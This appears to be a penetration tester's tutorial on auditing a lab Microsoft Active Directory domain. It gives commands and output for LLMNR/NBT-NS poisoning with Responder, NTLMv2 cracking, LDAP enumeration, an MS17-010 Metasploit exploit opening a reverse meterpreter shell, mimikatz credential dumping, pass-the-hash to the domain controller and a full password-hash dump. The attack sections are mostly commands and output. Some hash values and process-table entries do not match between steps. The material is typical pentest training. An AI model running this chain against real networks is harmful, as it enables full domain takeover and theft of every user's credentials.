## Contents

About the Author.................................................................................................................................. 2  
About The Microsoft Domain Environments:..................................................................................... 3  
About Auditing................................................................................................................................... 4  
Gaining First User.............................................................................................................................. 5  
Enumerating AD Users and Groups With Gained User:................................................................. 8  
Checking Common Vulnerabilities:............................................................................................... 12  
Gaining First Shell:.......................................................................................................................... 13  
Migrating Into A Process:................................................................................................................ 15  
Pass The Hash:................................................................................................................................. 17  
Dump Everything From Domain Controller:....................................................................................... 18
About the Author

Engin Demirbilek,
Computer Engineering Student
Penetration Tester in Turkey at SiberAsist Cyber Security Consultancy.

Blog: https://engindemirbilek.github.io

Feel free to ask me anything via Twitter: @hyal0id

I’ve been writing this article just to spend some time so it won’t be very detailed document.
**Auditing Microsoft Domain Environment**

**About The Microsoft Domain Environments:**

What to expect about Domain Environments is:

**Mother Servers:** Servers that runs Active Directory services aka Domain Controllers,

**Child Servers:** Microsoft Servers for deal with spesific needs (IIS Server, MSSQL Server etc.),

**Client Machines:** For usage of clients (Win7, Win10 etc),

**Domain Admin Group Users:** Users with highest level privilege in Domain forest which can control all computers in domain forest,

**Other Groups and Users:** Users created by Domain Admin users for spesific privileges.

**A local user of Client Machine or Child server is not an AD user, but by using that user an AD user can be gained.**

A Domain Controller authenticates and authorizes all users and computers in a Windows Domain Forest and it can enforce security policies for all computers and can also install or update software.

Just like as it sounds, every local administrator users of Domain Controller is basically **Domain Admin**. By using these users, all jobs described above can be done via any computer of Domain Forest (without accessing DC remotely).

About Auditing:

Our golden mission is capturing Domain Admin User due to gain complete control in all Domain computers. But, in some scenarios users with fewer level privileges can lead to huge information leaks. Therefore, in the way of capturing a Domain Admin user we do try gaining as much as user we can.

In internal penetration tests, companies usually provide strictly low privileged active directory users to penetration testers and also sometimes, we do gain a few users by exploiting vulnerabilities, sniffing&spoofing attacks, social engineering attacks and password attacks etc. By using those users we capture compromise whole domain forest.

In this article, I will show few ways I've been using Penetration against Microsoft Domain Environments.
Gaining First User:

Usually, if i’m not in a isolated LAN network i do try LLMNR&NBTNS spoofing attacks due to gain an account. To do so, there is a great tool exists called Responder.

If you are new to this topics here is quick 101:

**LLMNR**: Link Local Multicast Name Resolution (LLMNR) is a protocol defined in RFC 4795 that allows both IPv6 and IPv4 hosts to perform name resolution for the names of neighboring computers without requiring a DNS server or DNS client configuration.

**NBT-NS** is a similar protocol to LLMNR that serves the same purpose. The main difference between the two is **NBT-NS** works over IPv4 only

**LLMNR&NBT-NS Spoofing:**

Whenever a user try to reach an unexisted sharepoint or computer which cannot be find by DNS queries, user asks whole network to “Anyone knows where is this \sharepoint” by using LLMNR queries. Pretty much as it sounds, if an attacker says “Yeah its right here” attacker can capture users Ntlm / Ntlmv2 hashes as soon as user(victim) try to connect attacker’s machine.

https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
Setting Up Spoofing Environment:

As we mentioned before, there is a great tool exist for performing this job. In default Kali Linux setup, you reach your responder by typing **Responder** on your terminal. It uses SMB Server to capture Ntlm hashes so stop your smb service if its running (service smbd stop).

```bash
root@kali:~# /usr/share/responder/Responder.py -I eth0 -wrf

NBT-NS, LLMNR & MDNS Responder 2.3.3.9

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
    LLMNR          [ON]
    NBT-NS         [ON]
    DNS/MDNS      [ON]

[+] Servers:
    HTTP server   [ON]
    HTTPS server  [ON]
    WPAD proxy    [ON]
    Auth proxy    [OFF]
    SMB server    [ON]
    Kerberos server [ON]
    SQL server   [ON]
    FTP server    [ON]
    IMAP server   [ON]
    POP3 server   [ON]
    SMTP server   [ON]
    DNS server    [ON]
```

https://github.com/SpiderLabs/Responder
After setting up Responder, whenever a user tries to reach an unexisted sharepoint:

[*] [NBT-NS] Poisoned answer sent to 10.0.0.6 for name TYPOSHARE (service: File Server)
[NBT-NS] Poisoned answer sent to 10.0.0.6 for name TYPOSHARE (service: File Server)
[SMBv2] NTLMv2-SSP Client   : 10.0.0.6
[SMBv2] NTLMv2-SSP Username : LAB\Hyaloid
[SMBv2] NTLMv2-SSP Hash     :

We get his NTLMv2 hash.

Cracking NTLMv2 Hash:

```
root@kali:~# john hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password5        (Hyaloid)
1g 0:00:00:00 DONE 2/3 (2018-12-17 16:19) 3.125g/s 323678p/s 323678c/s 323678C/s Password5
```

We get his NTLMv2 hash.
Enumerating AD Users and Groups With Gained User:

We captured a user so what’s next?

After capturing a user first thing we need to do is checking its privileges, in this article we will be pretending like the user we captured has very low privilege. Let’s say that we didn’t go further (privesc etc.) with this privileges. Even if we can’t elevate our privileges with the user we captured we still can do enumerate Active Directory users, computers, groups etc. by using ldap queries for further investigation. To do so I’m using a script from github called windapsearch which can perform many ldap jobs very fast.

Enumerating AD Users with LDAP queries via windapsearch:

```bash
root@kali:/opt/windapsearch# python windapsearch.py --domain LAB.COM --dc-ip 10.0.0.1 -u LAB\hyaloid -p Password5 -U

[+] Using Domain Controller at: 10.0.0.1

[+] Getting defaultNamingContext from Root DSE

[+]  Found: DC=LAB,DC=COM

[+]  Attempting bind

[+]  ...success! Binded as:

[+]  u:LAB\Hyaloid

[+]  Enumerating all AD users

[+]  Found 7 users:

cn: Administrator

cn: Guest

cn: krbtgt

cn: pentest

cn: DA

cn: Hyaloid

cn: Siberasist
```

https://github.com/ropnop/windapsearch

AD: Active Directory
What Happened in Background:

https://github.com/wireshark/wireshark
Enumerating Domain Admins with LDAP queries via windapsearch:

```
root@kali:/opt/windapsearch# python windapsearch.py --domain LAB.COM --dc-ip 10.0.0.1 -u LAB\hyaloid -p Password5 --da

// Code Omitted */

[+] success! Binded as:
[+] u:LAB\Hyaloid

[+] Attempting to enumerate all Domain Admins

[+] Using DN: CN=Domain Admins,CN=Users,CN=Domain Admins,CN=Users,DC=LAB,DC=COM

[+] Found 2 Domain Admins:

cn: Administrator
cn: DA
```

Enumerating Domain Admins with LDAP queries via windapsearch:

```
root@kali:/opt/windapsearch# python windapsearch.py --domain LAB.COM --dc-ip 10.0.0.1 -u LAB\hyaloid -p Password5 -C

// Code Omitted */

[+] Found: DC=LAB,DC=COM

[+] Attempting bind

[+] success! Binded as:

[+] u:LAB\Hyaloid

[+] Enumerating all AD computers

[+] Found 3 computers:

cn, IP, dNSHostName, operatingSystem, operatingSystemVersion, operatingSystemServicePack

HACKBOX, 10.0.0.6, HACKBOX.LAB.COM, Windows 7 Ultimate, 6.1 (7601), Service Pack 1
SQLSERV, 10.0.0.2, SQLSERV.LAB.COM, Windows Server 2012 R2 Standard Evaluation, 6.3 (9600),
DCAD, 10.0.0.1, DCAD.LAB.COM, Windows Server 2012 R2 Standard Evaluation, 6.3 (9600),
```
What we gained with LDAP queries via windapsearch:

<table>
<thead>
<tr>
<th>Users</th>
<th>Computers</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administrator //Domain Admin</td>
<td>10.0.0.6, IT.LAB.COM Windows 7 Ultimate</td>
</tr>
<tr>
<td>Guest</td>
<td>10.0.0.2, SQLSERVLAB.COM Windows Server 2012 R2 Standard</td>
</tr>
<tr>
<td>krbtgt</td>
<td>10.0.0.1, DCAD.LAB.COM Windows Server 2012 R2 Standard</td>
</tr>
<tr>
<td>pentest</td>
<td></td>
</tr>
<tr>
<td>DA //Domain Admin</td>
<td></td>
</tr>
<tr>
<td>Hyaloid</td>
<td></td>
</tr>
<tr>
<td>Siberasist</td>
<td></td>
</tr>
</tbody>
</table>
Checking Common Vulnerabilities:

As we see from above, we have an Windows 7 client and also an SQL server exists on domain forest. Lets check if there is ms17_010 vulnerability exists on those systems and also we must consider to check if sa user of mssql service is suffering from basic password usage.

Checking ms17_010 vulnerability:

```
msf auxiliary(scanner/smb/smb_ms17_010) > set SMBUSER Hyaloid
SMBUSER => Hyaloid
msf auxiliary(scanner/smb/smb_ms17_010) > set SMBPASS Password5
SMBPASS => Password5
msf auxiliary(scanner/smb/smb_ms17_010) > set SMBDOMAIN LAB
SMBDOMAIN => LAB
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.0.0.1,2,6
RHOSTS => 10.0.0.1,2,6
msf auxiliary(scanner/smb/smb_ms17_010) > run
[-] 10.0.0.1:445          - Host does NOT appear vulnerable.
[*] Scanned 1 of 3 hosts (33% complete)
[+] 10.0.0.2:445          - Host is likely VULNERABLE to MS17-010! - Windows Server 2012 R2
                         Standard Evaluation 9600 x64 (64-bit)
[*] Scanned 2 of 3 hosts (66% complete)
[-] 10.0.0.6:445          - Host does NOT appear vulnerable.
[*] Scanned 3 of 3 hosts (100% complete)
```
Gaining First Shell:

Exploiting ms17_010 vulnerability:

```
msf exploit(windows/smb/ms17_010_psexec) > set SMBUSER Hyaloid
SMBUSER => Hyaloid
msf exploit(windows/smb/ms17_010_psexec) > set SMBPASS Password5
SMBPASS => Password5
msf exploit(windows/smb/ms17_010_psexec) > set SMBDOMAIN LAB
SMBDOMAIN => LAB
msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.0.0.2
RHOST => 10.0.0.2
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.0.0.5:4444
[*] 10.0.0.2:445 - Target OS: Windows Server 2012 R2 Standard Evaluation 9600
[*] 10.0.0.2:445 - Built a write-what-where primitive...
[+] 10.0.0.2:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.0.0.2:445 - Selecting PowerShell target
[*] 10.0.0.2:445 - Executing the payload...
[+] 10.0.0.2:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.0.0.2
meterpreter >
```

As we successfully exploited the ms17_010 vulnerability we gained an x86 meterpreter shell with SYSTEM privileges. Due to use tools like mimikatz our session architecture must be the same.

Checking System Architecture:

```
meterpreter > sysinfo
Computer : SQLSERV
OS : Windows 2012 R2 (Build 9600).
Architecture : x64
System Language : en_US
Domain : LAB
Logged On Users : 9
Meterpreter : x86/windows
```

As we see from result of sysinfo command, system architecture is x64 but our meterpreter is x86.
**Checking Background Processes:**

```plaintext
meterpreter > ps

Process List
-------------

<table>
<thead>
<tr>
<th>PID</th>
<th>PPID</th>
<th>Name</th>
<th>Arch</th>
<th>Session</th>
<th>User</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>[System Process]</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>0</td>
<td>System</td>
<td>x64</td>
<td>0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>464</td>
<td>380</td>
<td>services.exe</td>
<td>x64</td>
<td>0</td>
<td>NT AUTHORITY\SYSTEM</td>
<td>C:\Windows\System32\lsass.exe</td>
</tr>
<tr>
<td>472</td>
<td>380</td>
<td>lsass.exe</td>
<td>x64</td>
<td>0</td>
<td>NT AUTHORITY\SYSTEM</td>
<td>C:\Windows\System32\svchost.exe</td>
</tr>
<tr>
<td>528</td>
<td>464</td>
<td>svchost.exe</td>
<td>x64</td>
<td>0</td>
<td>NT AUTHORITY\SYSTEM</td>
<td>C:\Windows\System32\svchost.exe</td>
</tr>
<tr>
<td>556</td>
<td>464</td>
<td>svchost.exe</td>
<td>x64</td>
<td>0</td>
<td>NT AUTHORITY\NETWORK SERVICE</td>
<td>C:\Windows\System32\svchost.exe</td>
</tr>
<tr>
<td>628</td>
<td>2484</td>
<td>LogonUI.exe</td>
<td>x64</td>
<td>2</td>
<td>NT AUTHORITY\SYSTEM</td>
<td>C:\Windows\System32\LogonUI.exe</td>
</tr>
<tr>
<td>668</td>
<td>464</td>
<td>VBoxService.exe</td>
<td>x64</td>
<td>0</td>
<td>NT AUTHORITY\SYSTEM</td>
<td>C:\Windows\System32\VBoxService.exe</td>
</tr>
</tbody>
</table>
```

/* Code Omitted */
Migrating Into A Process:

Things to Consider before Migration:

1. Process that we will migrate should be at same privileges with our current privileges (NT AUTHORITY)

2. Process that we will migrate is must be stable or at least even if we mess something it must be not cause system restart etc.

Due to meet this requirements, VBOXService.exe is looks like the best option we have.

```
meterpreter > migrate 668
[*] Migrating from 3168 to 668...
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : WIN-G9T7SDV2G4L
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_US
Domain          : LAB
Logged On Users : 9
Meterpreter     : x64/windows
```

What’s Next?

To be honest, we do not need to get hashes of any user to gain domain admin right from this point. We can check if there is a process working with domain admin users privileges (that we found earlier with windapsearch) and migrating into that process could give us da privileges but due to show a few more tricks lets use mimikatz to dump logged users hashes.

https://github.com/gentilkiwi/mimikatz
Auditing Microsoft Domain Environment

Loading Mimikatz:

meterpreter > load kiwi
Loading extension kiwi...
.#.#.#.#. mimikatz 2.1.1 20180925 (x64/windows)
.#.#.#.#. "A La Vie, A L'Amour"
#/#/#/#/ *** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
#/#/#/#/ > http://blog.gentilkiwi.com/mimikatz
'### v ###' Vincent LE TOUX  ( vincent.letoux@gmail.com )
Success.

Getting password hashes with mimikatz:

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials

==============

Username          Domain  NTLM                              SHA1
--------          ------  ----                              ----
DA     LAB     64f12cddaa88057e06a81b54e73b949b             cba4e545b7ec918129725154b29f055e4cd5aea8
Hyaloid           LAB     a738f92b3c08b424ec2d99589a9cce60
WIN-G9T7SDV2G4L$  LAB     6eaab25fb08a7382f7cc1a54d97e80de
8c02e734ed99edfadae174ffed707cafc4844dfa.

Bingo ! Remembered the DA user from windapsearch results ? It is an domain admin group user.
Pass The Hash: 

Passing the hash is game changer trick that we use at nearly every internal audit.

If you are new to this topic here is quick 101 from wikipedia: 

pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.

Pass The Hash with Psexec: 

Due to perform this jobs, only we need is NTLM hash of a privileged user. Thats exactly what we gained before with mimikatz.

```
msf exploit(windows/smb/psexec) > set SMBUSER DA
SMBUSER => DA
msf exploit(windows/smb/psexec) > set SMBPASS
00000000000000000000000000000000:64f12cdda88057e06a81b54e73b949b //LM:NTLM
SMBPASS => 64f12cdda88057e06a81b54e73b949b:64f12cdda88057e06a81b54e73b949b
msf exploit(windows/smb/psexec) > set SMBDOMAIN LAB
SMBDOMAIN => LAB
msf exploit(windows/smb/psexec) > set RHOST 10.0.0.1 //Domain Controller
RHOST => 10.0.0.1
msf exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.0.0.5:4444
[*] 10.0.0.1:445 - Connecting to the server...
[*] 10.0.0.1:445 - Authenticating to 10.0.0.1:445|LAB as user ‘DA’...
[*] 10.0.0.1:445 - Selecting PowerShell target
[*] 10.0.0.1:445 - Executing the payload...
[+] 10.0.0.1:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 10.0.0.1
```

Further Read for Pass The Hash: https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283
Dump Everything From Domain Controller:

Since we got an privileged session from Domain Controller we could dump everything from it!

```plaintext
meterpreter > load kiwi
Loading extension kiwi...c
.#####. mimikatz 2.1.1 20180925 (x64/windows)
.### / ## /### Benjamín DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
### / ### > http://blog.gentilkiwi.com/mimikatz

&apos;### v ##&apos; Vincent LE TOUX ( vincent.letoux@gmail.com )
&apos;#####&apos; > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > getuid
Server username: LAB\DA
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cdda88057e06a81b54e73b949b:

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:eb00cddf33274125bd6081d301c78cbbc::

pentest:1105:aad3b435b51404eeaad3b435b51404ee:c4b0e1b10c7ce2c4723b4e2407ef81a2::

DA:1106:aad3b435b51404eeaad3b435b51404ee:7247e8d4387e76996ff3f18a34316fdd::

Hyaloid:1107:aad3b435b51404eeaad3b435b51404ee:a738f92b3c08b424ec2d95589a9c6e60::

Siberasist:1108:aad3b435b51404eeaad3b435b51404ee:499108ff7eeea55a4765f1c57665f840::
```
Conclusion:

This is not the only scenario that we meet on internal audits, there are many more scenarios could be performed according to vulnerabilities, attack vectors, network topology, operation systems etc. but it is very common scenario that I’ve met in a few pentests before.

Thanks for reading.